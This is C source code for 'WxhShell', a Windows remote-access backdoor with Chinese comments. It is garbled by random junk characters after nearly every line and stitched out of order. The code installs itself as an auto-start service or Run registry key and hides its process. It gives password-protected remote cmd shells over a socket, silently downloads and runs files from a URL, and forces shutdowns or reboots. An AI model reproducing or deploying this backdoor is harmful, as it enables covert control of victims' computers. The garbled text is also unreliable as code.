  case 'd': { KoJG! Rm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r `dU (T!  
    if(Boot(SHUTDOWN)) -huZnDN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =jt_1L4  
    else { 4#q JX)/  
    closesocket(wsh); FF/R_xnx  
    ExitThread(0); lv*uXg.k^  
    } ;G]'}$`/q  
    break; :\_MA^<  
    } F.D1;,x  
  // 获取shell c^IEj1@}'?  
  case 's': { (qN(#~  
    CmdShell(wsh); H@' @xHv  
    closesocket(wsh); ;[ueNP%*y|  
    ExitThread(0); I/jr` 3Mj  
    break; XD}_9p  
  } eB*8)gYh  
  // 退出 ;r"B?]JO  
  case 'x': { em}Qv3*#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1,'^BgI,  
    CloseIt(wsh); c&-$?f r  
    break; C:MGi7f  
    } x~^I/$  
  // 离开 |81N/]EER  
  case 'q': { 6~W E#z_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o q)"1  
    closesocket(wsh); V&v~kzLr+  
    WSACleanup(); T(^8ki  
    exit(1); gq3OCA!cX  
    break;  22~X~=  
        } w tLM c  
  } mtddLd,  
  } e622{dfVS  
v^fOT5\  
  // 提示信息 1o78e2B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :0/o?'s  
} b] ?;R  
  } 4CT9-2UC  
RLNuH2y;  
  return; .6o y>4  
} hP8&n9o  
$4JX#lkt  
// shell模块句柄 }tO<_f))  
int CmdShell(SOCKET sock) DW&')gfQ  
{ yuDd% 1k  
STARTUPINFO si; q.Z#7~6`3  
ZeroMemory(&si,sizeof(si)); v=1S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i!x5T%x_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @|%ICG c  
PROCESS_INFORMATION ProcessInfo; | V,jd  
char cmdline[]="cmd"; ~j#6 goKn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [(EH  
  return 0; %MZDm&f>Kk  
} O \8G~V 5"  
Yka&Kkw  
// 自身启动模式 \ZWmef  
int StartFromService(void) F{~r7y;0  
{ @]wem  
typedef struct ULmdt   
{ {0WID D  
  DWORD ExitStatus; 4Xk;Qd  
  DWORD PebBaseAddress; F6]!?@  
  DWORD AffinityMask; oHd0 <TO  
  DWORD BasePriority; +gCy@_2;  
  ULONG UniqueProcessId; P Xn>x8z  
  ULONG InheritedFromUniqueProcessId; 1'm`SRX#e  
}   PROCESS_BASIC_INFORMATION; {<4?o? 1 g  
)h_ 7 2  
PROCNTQSIP NtQueryInformationProcess; !nBm}E7d  
ikG9l&n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4eL54).1O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1"B9Z6jf  
@ZR4%A"X4  
  HANDLE             hProcess; UH&1c8y}  
  PROCESS_BASIC_INFORMATION pbi; ,xe@G)a  
%aE7id>v6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (`.qG &6p  
  if(NULL == hInst ) return 0; G:C6`uiy`  
8kM0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "|r^l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s1 ^mk]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !vVjZ  
p2DNbY\]  
  if (!NtQueryInformationProcess) return 0; as |c`4r\O  
;6 6_G Sjz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }rA+W-7  
  if(!hProcess) return 0; mYOdBd  
wp*&&0O!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9iddanQA  
+\[![r^P  
  CloseHandle(hProcess); `e'o~ oSu  
.O%1)p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $F`<&o  
if(hProcess==NULL) return 0; )bXx9,VL  
akc"}+-oX  
HMODULE hMod; r,@X>_}  
char procName[255]; 2G}7R5``9  
unsigned long cbNeeded; \R>5F\ 0  
DEp%\sj?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lJ]\  
4OZ5hH h  
  CloseHandle(hProcess); mx(%tz^t  
O-!fOdX8_k  
if(strstr(procName,"services")) return 1; // 以服务启动 Nw>T $RzS  
Nk7eiQ  
  return 0; // 注册表启动 MD ?F1l"}%  
} X)iWb(@k"7  
$x_52 j\j  
// 主模块 LVFsd6:h  
int StartWxhshell(LPSTR lpCmdLine) uyRA`<&w  
{ 7}tZ?vD  
  SOCKET wsl; t6g)3F7T  
BOOL val=TRUE; w H_n$w  
  int port=0; iraRB~  
  struct sockaddr_in door; ZDkD%SCy  
rE{Xo:Cf  
  if(wscfg.ws_autoins) Install(); IL[|CB1v  
s@)"IdSA(  
port=atoi(lpCmdLine); EfBVu  
!k= 0X\5L  
if(port<=0) port=wscfg.ws_port; azDC'.3{p  
BUA6(  
  WSADATA data; n:^"[Le  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5ih"Nds[H  
!ga (L3vf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z(k\J|&9C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jle%|8m&@  
  door.sin_family = AF_INET; ci_v7Jnwo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #u<o EDQ  
  door.sin_port = htons(port); 51ajE2+X&  
U_}A{bFG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sAD P~xvU  
closesocket(wsl); K)Xs L  
return 1; W]yClx \  
} _]D#)-uv}C  
;4/dk_~p]  
  if(listen(wsl,2) == INVALID_SOCKET) { D"x$^6`c}  
closesocket(wsl); F@K*T2uh  
return 1; q ~Q)'*m  
} d7_g u  
  Wxhshell(wsl); 0n<(*bfW  
  WSACleanup(); w^due P7J  
$uFh$f  
return 0; Q{l*62Bx  
<jRFN&"h}  
} 6mF{ImbRbS  
{r].SrW9s9  
// 以NT服务方式启动 `J=1&ae{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >\?z37 :T  
{ ]Ic?:lKN  
DWORD   status = 0; V^`?8P8d  
  DWORD   specificError = 0xfffffff; (+gL#/u  
|:(23O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :B*vkwT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =(|xU?OL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C7jc6(> m  
  serviceStatus.dwWin32ExitCode     = 0; JwI`"$ > w  
  serviceStatus.dwServiceSpecificExitCode = 0; ;la#Vf:]  
  serviceStatus.dwCheckPoint       = 0; s7.p$r  
  serviceStatus.dwWaitHint       = 0; Ff Yd+]+?  
E&];>3C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s=nVoc{Yt  
  if (hServiceStatusHandle==0) return; "'F;lzq  
0Y6q$h>4  
status = GetLastError(); gP %|:"  
  if (status!=NO_ERROR) znQ'm^h  
{ `j}_BW_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S}m$,<x  
    serviceStatus.dwCheckPoint       = 0; 1(%>`=R8  
    serviceStatus.dwWaitHint       = 0; @Ge>i5q  
    serviceStatus.dwWin32ExitCode     = status; oxMUW<gYd  
    serviceStatus.dwServiceSpecificExitCode = specificError; aW=By)S!Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PHRGhKJW})  
    return; yWv<A^C &  
  } +w k]iH  
h5&/hBN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %su}Ru  
  serviceStatus.dwCheckPoint       = 0; L8bI0a]r"*  
  serviceStatus.dwWaitHint       = 0; OBI+<2`Oc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EREolCASb  
} +-H}s`  
Gq0]m  
// 处理NT服务事件,比如:启动、停止 $c@w$2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 83  i1  
{ Z@uTkqG)  
switch(fdwControl) q6C6PPc  
{ eC>"my`  
case SERVICE_CONTROL_STOP: 8:P*z  
  serviceStatus.dwWin32ExitCode = 0; V\@jC\-5Vt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^nHB1"OCV  
  serviceStatus.dwCheckPoint   = 0; XDpfpJ,z"}  
  serviceStatus.dwWaitHint     = 0; n%0]V Xx#  
  { 2/v35| ?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Iv(  
  } $Wr\ [P:  
  return; tLD~  
case SERVICE_CONTROL_PAUSE: *t#s$Ga  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; poXLy/K  
  break; @%EE0)IA  
case SERVICE_CONTROL_CONTINUE: UTDcX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5!'R'x5e  
  break; HDF!`  
case SERVICE_CONTROL_INTERROGATE: o%Be0~n'  
  break; AezvBY0'`z  
}; ~|CJsD/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MvFM ,  
} J$#h( D%  
&jV9*  
// 标准应用程序主函数 ?~"`^|d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^w:OS5%R  
{ 5q|+p?C  
5:Yck<  
// 获取操作系统版本 c Ndw9?Z  
OsIsNt=GetOsVer(); .7 (DxN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V&Xi> X8  
?w+ QbT  
  // 从命令行安装 QP6z?j.  
  if(strpbrk(lpCmdLine,"iI")) Install(); DR k]{^C~  
-A/ds1=;  
  // 下载执行文件 \4h>2y  
if(wscfg.ws_downexe) { K-J|/eB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) La"o)L +m_  
  WinExec(wscfg.ws_filenam,SW_HIDE); @gt)P4yE  
} \8;Qv  
V19e>  
if(!OsIsNt) { [_y9"MMwn  
// 如果时win9x,隐藏进程并且设置为注册表启动 .UM<a Ik  
HideProc(); t6'61*)|0  
StartWxhshell(lpCmdLine); D9qX->p  
} Qs|OG  
else ,M\j%3  
  if(StartFromService()) J0^{,eY<  
  // 以服务方式启动 cPpu  
  StartServiceCtrlDispatcher(DispatchTable); "| K f'/r  
else s1X]RXX&j  
  // 普通方式启动 1s#yWQ   
  StartWxhshell(lpCmdLine); n,t6v5>88  
9o-!ecx}  
return 0; kWB, ;7  
} Ya}T2VX  
3g4e' ]t  
UdT&cG  
[RAj3Fr0  
=========================================== >f&xJq  
a @6^8B?w;  
Zxg1M  
`kv1@aQPL  
eY J{LPo  
_h0-  
" <"* "1(wN  
ZhH+D`9  
#include <stdio.h> mfXD1]<.  
#include <string.h> `.{U-U\  
#include <windows.h> ; D1FAz  
#include <winsock2.h> 5a'yXB}  
#include <winsvc.h> yh S#&)O  
#include <urlmon.h> WK pUn8&N  
/&CUspb  
#pragma comment (lib, "Ws2_32.lib") CV'&4oq  
#pragma comment (lib, "urlmon.lib") B,3 t`  
9'1hjd3k  
#define MAX_USER   100 // 最大客户端连接数 D9ANm"#  
#define BUF_SOCK   200 // sock buffer "$GK.MP5  
#define KEY_BUFF   255 // 输入 buffer `SCy<w3$+[  
(~S<EUc$  
#define REBOOT     0   // 重启 _1sP.0 t  
#define SHUTDOWN   1   // 关机 &k1/Z*/  
r)VLf#3B  
#define DEF_PORT   5000 // 监听端口 ]Z _$'?f  
l;Q >b]DZ  
#define REG_LEN     16   // 注册表键长度  ylk{!  
#define SVC_LEN     80   // NT服务名长度 X]qCS0GD'  
_3|6ZO  
// 从dll定义API Vl<`|C>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aiYo8+{!#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d!o.ASL{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _*Pfp+if  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aC`Li^  
}/20%fP  
// wxhshell配置信息 y =R aJm  
struct WSCFG { l{8CISO*  
  int ws_port;         // 监听端口 C1 W>/?XC  
  char ws_passstr[REG_LEN]; // 口令 d7E7f  
  int ws_autoins;       // 安装标记, 1=yes 0=no djUihcqA`  
  char ws_regname[REG_LEN]; // 注册表键名 lqF>=15  
  char ws_svcname[REG_LEN]; // 服务名 ~L~]QN\3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u=%y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v{o? #Sk1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g^jJ8k,7(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~]&B >q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dsV ~|D6:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7R: WX:  
 ozU2  
}; /J;;|X#P  
{B3(HiC  
// default Wxhshell configuration H"_v+N5=  
struct WSCFG wscfg={DEF_PORT, HL@TcfOe~  
    "xuhuanlingzhe", ) !i!3  
    1, VUp. j  
    "Wxhshell", +$PFHXB  
    "Wxhshell", wS V@=)H\:  
            "WxhShell Service", l8^y]M  
    "Wrsky Windows CmdShell Service", (v!mR+\x  
    "Please Input Your Password: ", 0 sZwdO  
  1, |) O):  
  "http://www.wrsky.com/wxhshell.exe", %l,4=TQ[m  
  "Wxhshell.exe" 0pD[7~^o  
    }; q3+I<qsAz  
glx2I_y  
// 消息定义模块 ]oEQ4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mbyih+amCr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;Z*'D}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (-\]A|  
char *msg_ws_ext="\n\rExit."; /l ^y}o %?  
char *msg_ws_end="\n\rQuit."; `NQ{)N0!  
char *msg_ws_boot="\n\rReboot..."; ijF V<P  
char *msg_ws_poff="\n\rShutdown..."; IP04l;p/  
char *msg_ws_down="\n\rSave to "; gGI8t@t:  
-,^WaB7u\  
char *msg_ws_err="\n\rErr!"; uoHqL IpQ  
char *msg_ws_ok="\n\rOK!"; .U 39nd  
U+} y %3l  
char ExeFile[MAX_PATH]; as(*B-_n~  
int nUser = 0; >b>gr OX  
HANDLE handles[MAX_USER]; UT4f (Xo  
int OsIsNt; P{cos&X|  
bE d?^h  
SERVICE_STATUS       serviceStatus; zks#EzQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;, rnk-  
d@ZoV  
// 函数声明 Pu..NPl+  
int Install(void); !R74J=#(  
int Uninstall(void); ?I[h~vr6.  
int DownloadFile(char *sURL, SOCKET wsh); `E W!-v)  
int Boot(int flag); <1 S+ '  
void HideProc(void); _s*! t  
int GetOsVer(void); ra]:$XJ5=a  
int Wxhshell(SOCKET wsl); %K?iNe  
void TalkWithClient(void *cs); q!&B6]  
int CmdShell(SOCKET sock); .b,~f  
int StartFromService(void); <(YF5Xm6$h  
int StartWxhshell(LPSTR lpCmdLine); FZp<|t  
>$uUuiyL4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e\r7BW\Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pDOM:lGya  
oIb) Rq!m  
// 数据结构和表定义 hO6RQ0Iv@  
SERVICE_TABLE_ENTRY DispatchTable[] = 0wFh%/:  
{ -L8Y J8J6  
{wscfg.ws_svcname, NTServiceMain}, ~ M*gsW$  
{NULL, NULL} y"-{$N  
}; b =b :  
VhvTBo<cw  
// 自我安装 TT7PQf >  
int Install(void)  P?J kP  
{ /PqUXF  
  char svExeFile[MAX_PATH]; :G 5C ]'t  
  HKEY key; +i=p5d5  
  strcpy(svExeFile,ExeFile); C8.W5P[U  
e!Br>^8l  
// 如果是win9x系统,修改注册表设为自启动 JT)k  
if(!OsIsNt) { x> \Bxa8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rz.IoQo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3]^'  
  RegCloseKey(key); /cfHYvnz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rg&19 }BU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -NzTqLBn  
  RegCloseKey(key); gI{ =0  
  return 0; ZMdW2_*F   
    } fa{@$ppx  
  } 6V2j*J  
} M/#U2!iFk  
else { &z>q#'X;.  
[4>r6Hqxr  
// 如果是NT以上系统,安装为系统服务 wAh#   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ltSh'w0  
if (schSCManager!=0) 76u{!\Jo/{  
{ U5<@<j(@  
  SC_HANDLE schService = CreateService o/1JO_41  
  ( yW("G-Nm  
  schSCManager, d}-'<Z#G  
  wscfg.ws_svcname, `W"G!X-  
  wscfg.ws_svcdisp, j#3m|dQ  
  SERVICE_ALL_ACCESS, TwFb%YM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "PzP; Br  
  SERVICE_AUTO_START, DA=1KaJ.  
  SERVICE_ERROR_NORMAL, B< hEx@  
  svExeFile, gxmc|  
  NULL, S}cF0B1E*  
  NULL, ?Y3@"rdR  
  NULL, )0-o%- e  
  NULL, i&&qbZt  
  NULL cPuHLwwYf  
  ); e$wt&^W  
  if (schService!=0) |<(t}}X  
  { XLb0 9;  
  CloseServiceHandle(schService); 9m8ee&,  
  CloseServiceHandle(schSCManager); tU:FX[&?R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FT.@1/)  
  strcat(svExeFile,wscfg.ws_svcname); ~`R1sSr"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qq;b~ 3 kW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zvr\36  
  RegCloseKey(key); !ZrB^?sO  
  return 0; |$e:*  
    } D|Si)_ Iz  
  } "2;N2=~7  
  CloseServiceHandle(schSCManager); x=,8[W#XT  
} 0H[LS  
} T~J? AKx  
*Jt8  
return 1; ?9e]   
} z-@ -O  
J+Bdz6lt  
// 自我卸载 t5) J;0/  
int Uninstall(void) TyOH`5 D  
{ ~/|zlu*jpc  
  HKEY key; _tj&Psp  
gs`> C(  
if(!OsIsNt) { [5Y<7DS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =i6:puf  
  RegDeleteValue(key,wscfg.ws_regname); qks|d_   
  RegCloseKey(key); f&yQhe6q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =M<z8R  
  RegDeleteValue(key,wscfg.ws_regname); O,mip  
  RegCloseKey(key); Of`c`-<j  
  return 0; ~G `J r  
  } C3S`}o.  
} -t4 [oB  
} e<5Y94YE  
else { <TxC!{<  
uvB1VV4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y=Hz;Ni  
if (schSCManager!=0) w^o }E)O  
{ :3? |VE F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GBbhar},g  
  if (schService!=0) DB@EVH  
  { ]0/p 7N14  
  if(DeleteService(schService)!=0) { ]MAT2$"le  
  CloseServiceHandle(schService); I KcKRw/O$  
  CloseServiceHandle(schSCManager); ;fGx;D  
  return 0;  (M`|'o!  
  } Ro r2qDF  
  CloseServiceHandle(schService); HarFE4V  
  } R0<< f]  
  CloseServiceHandle(schSCManager); h\y-L~2E  
} ut5yf$%  
} \L[i9m|e  
VPd,]]S5(  
return 1; 8R xc&`_X  
} #J$qa Ul  
M!{'ED  
// 从指定url下载文件 9#rt:&xo0  
int DownloadFile(char *sURL, SOCKET wsh) rkYjq4Z@  
{ =Od>;|]m  
  HRESULT hr; f0oek{  
char seps[]= "/"; ;&?pd"^<_Z  
char *token; A/ 0qk  
char *file; J_ J+cRwq  
char myURL[MAX_PATH]; ?63&g{vA  
char myFILE[MAX_PATH]; \##`pa(8  
HomN/wKh  
strcpy(myURL,sURL); 9Nt3Z >d  
  token=strtok(myURL,seps); l4ouZR  
  while(token!=NULL) -&Gfh\_NW  
  { hz)9"B\S  
    file=token; f\K#>u* Q  
  token=strtok(NULL,seps); 2 F?kjg,  
  } n`L,]dco  
gb 4pN  
GetCurrentDirectory(MAX_PATH,myFILE); nGrVw&  
strcat(myFILE, "\\"); +t]Xj1Q  
strcat(myFILE, file); 3s(Ia^  
  send(wsh,myFILE,strlen(myFILE),0); ("Dv>&w9  
send(wsh,"...",3,0); ZBc|438[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8D~x\!(p\  
  if(hr==S_OK) ]k+m=OR{/  
return 0; _;e\:7<m  
else Q$=*aUU%G  
return 1; }<[Db}?9  
O9]\Q@M.  
} LSkk;)'2K  
yFM>T\@  
// 系统电源模块 i_U}{|j  
int Boot(int flag) dZ2`{@AYY  
{ 9 P"iuU  
  HANDLE hToken; Oif,|:  
  TOKEN_PRIVILEGES tkp; # *,sa  
:oa9#c`L  
  if(OsIsNt) { Y<LNQ]8\G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N z~" vi(t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AcC8)xRpk4  
    tkp.PrivilegeCount = 1; /f3m)pT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #`/QOTnm2c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @{}rG8  
if(flag==REBOOT) { q)iTn)Z!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X?df cS*!n  
  return 0; |}S1o0v{(a  
} R^8B3-aA`  
else { ^ KH>1!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) crn k|o  
  return 0; ;^-:b(E  
} [7\>"v6  
  } r nBOj#N  
  else { } uQ${]&D  
if(flag==REBOOT) { ,w`~K:b.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yJD >ny  
  return 0; aRwnRii  
} {Y_Nj`#BT  
else { (9GbG"   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h>3H7n.  
  return 0; Hj~O49%j&  
} OM!=ViN(=  
} I; j3*lV_  
s4t0f_vj`  
return 1; \P?A7vuhLs  
} s4,(26y  
Tf-CEHWD  
// win9x进程隐藏模块 <abKiXA"  
void HideProc(void) -p8e  
{ "!q?P" @C  
bK=c@GXS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y';>O`  
  if ( hKernel != NULL ) !_^g8^>2(  
  { iJP{|-h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z"tQp Jg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UqtHxEI%R~  
    FreeLibrary(hKernel); /`+7_=-  
  } *K)0UKBr  
~:2K#q5C  
return; #nEL~&  
} \A(5;ZnuD  
#x~_`>mDN  
// 获取操作系统版本  _^T}_  
int GetOsVer(void) -e*BqH2t  
{ v2J0u:#,  
  OSVERSIONINFO winfo; ")M;+<c"l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;[Tyt[  
  GetVersionEx(&winfo); _4R,Ej}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {L9yhYw  
  return 1; ZvH{wt   
  else OoaY  
  return 0; ~ hm`uP  
} JEHK:1^  
qG9qN.|dC  
// 客户端句柄模块 KO,_6>8]U  
int Wxhshell(SOCKET wsl) treXOC9^B8  
{ rJ(OAKnY  
  SOCKET wsh; s*JE)  
  struct sockaddr_in client; c{>|o  
  DWORD myID; 9^zx8MRXd  
F]5\YYXO  
  while(nUser<MAX_USER) Jz$ >k$!UD  
{ H#+xKYrp  
  int nSize=sizeof(client); i<iXHBs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <SQ(~xYi  
  if(wsh==INVALID_SOCKET) return 1; QS\ x{<e/  
5Y-2 #  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PU+1=%'V  
if(handles[nUser]==0) %F5 =n"  
  closesocket(wsh); ,so4Lb(vG  
else Dl\d_:+  
  nUser++; Dh`=ydI5  
  } F^rl$#pCS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *V|zx#RN  
XGIpUz  
  return 0; wLMvC{5  
} bi,mM,N/  
Ab g$W/(|  
// 关闭 socket W5/};K\.  
void CloseIt(SOCKET wsh) evOb  
{ 7@P656{  
closesocket(wsh); h5!d  
nUser--; \)R-A '*U  
ExitThread(0); qLRE}$P  
} |nm2Uy/0  
D rTM$)  
// 客户端请求句柄 c[{UI  
void TalkWithClient(void *cs) vYzVY\   
{ `M rBav  
;+%Z@b%  
  SOCKET wsh=(SOCKET)cs; if@,vc  
  char pwd[SVC_LEN]; {!t=n   
  char cmd[KEY_BUFF]; 8IJ-]wHIb  
char chr[1]; DMMLzS0A  
int i,j;  _8S4Q!  
xt))]aH  
  while (nUser < MAX_USER) { kY!C_kFcn  
q{@P+2<wF  
if(wscfg.ws_passstr) { XnA6/^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V}:'Xgp*N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;+/NjC1  
  //ZeroMemory(pwd,KEY_BUFF); [; @):28"  
      i=0; CB({Rn  
  while(i<SVC_LEN) { %uuH^A  
cY~M4:vgT  
  // 设置超时 4\1;A`2%0  
  fd_set FdRead; M.[wKGX(  
  struct timeval TimeOut; ITc `]K  
  FD_ZERO(&FdRead); 8[HZ@@  
  FD_SET(wsh,&FdRead); kaO{#i2-  
  TimeOut.tv_sec=8; yoW> BX  
  TimeOut.tv_usec=0; jGiw96,Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4:`[qE3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?cxr%`E  
7@~QkTH~y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y^3)!>  
  pwd=chr[0]; LP?P=c  
  if(chr[0]==0xd || chr[0]==0xa) { _H2tZ%RM  
  pwd=0; I-{^[pp  
  break; %^!aB  
  } e>!E=J)j  
  i++; kjX7- ZPY  
    } b[0S=e G  
B_tQeM  
  // 如果是非法用户,关闭 socket `sxN!Jj?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p z @km  
} xFX&9^Uk  
['t8C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;q &0,B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /f]/8b g>  
GEfY^! F+  
while(1) { U2UyN9:6F  
-p^'XL*Z  
  ZeroMemory(cmd,KEY_BUFF); P'F~\**5  
^Po,(iIn  
      // 自动支持客户端 telnet标准   )-#i8?y3C  
  j=0; N"~ qoJO  
  while(j<KEY_BUFF) { b- uZ"Kf^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0V7 _n  
  cmd[j]=chr[0]; ~4+8p9f  
  if(chr[0]==0xa || chr[0]==0xd) { p}BGw:=  
  cmd[j]=0; -xTKdm D  
  break; R9r)C{63S&  
  } Z:c*!`F  
  j++;  feN!_ -  
    } dFMAh&:>  
KcnjF^k  
  // 下载文件 o"4E+1qwM  
  if(strstr(cmd,"http://")) { HSC6;~U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -U:2H7  
  if(DownloadFile(cmd,wsh)) 1~L\s}|2d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5f{wJb2  
  else FR(QFt!g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w_!%'9m>  
  } 4`6< {  
  else { F#KF6)P  
}Q ;BQ2[  
    switch(cmd[0]) { G}q<{<+$  
  q55M8B 4w  
  // 帮助 \eT/%$  
